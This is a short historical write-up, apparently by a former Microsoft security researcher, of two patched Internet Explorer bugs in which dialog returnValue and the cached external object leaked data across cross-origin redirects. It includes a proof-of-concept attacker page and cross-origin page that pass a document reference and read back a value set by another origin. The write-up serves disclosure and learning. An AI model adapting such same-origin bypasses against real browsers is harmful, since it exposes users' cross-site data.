I found two related issues in how modal/modeless dialogs handled returnValue and the external object across cross-origin redirects. The first allowed cooperative cross-origin sharing — the opener could hand a document reference to a dialog via returnValue, and the dialog could read it even after redirecting to a different domain. The second let the opener silently read back a returnValue set by a cross-origin dialog by caching the external object before the redirect happened. Both issues required that returnValue (like dialogArguments and menuArguments) be cleared on domain change, and that the external reference be destroyed.

<!-- index.html (attacker page) -->
<script>
var cachedExternal;

function main()
{
    var wModal = showModelessDialog("redirect.html", "", "dialogwidth=800px;dialogheight=200px");

    wModal.returnValue = document;      // We share our document via returnValue.
    
    cachedExternal = wModal.external;   // And also cache the window external to be able to read it later.

    returnValueChanged();
}
function returnValueChanged()
{
    if (cachedExternal.returnValue != document)
    {
        alert("This alert is coming from the main window - We are accessing the returnValue content of a window in a different domain:  " + cachedExternal.returnValue);
        return;
    }

    setTimeout("returnValueChanged()", 3000);
}
</script>
<input type="button" onclick="main()" value="Open Modal">
<!-- otherdomain.html (inside the modal, after redirect) -->
<script>
var strText =   "I'm located at: " + document.URL + "<br /><br />" +
                "I can access my opener document via returnValue: " + returnValue.URL + "<br /><br />" +
                "Now I'm changing the returnValue and my opener can still read the data using the cached external object.<br /><br />returnValue = 'SECRET_PASSWORD';<br /><br />";
document.write(strText);
returnValue = "SECRET_PASSWORD";
</script>

The modal received the opener’s document object through returnValue and could read returnValue.URL from a different origin. When it then set returnValue = "SECRET_PASSWORD", the opener’s polling function read it back through cachedExternal.returnValue — a value set by a cross-origin page, fully readable after the fact.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.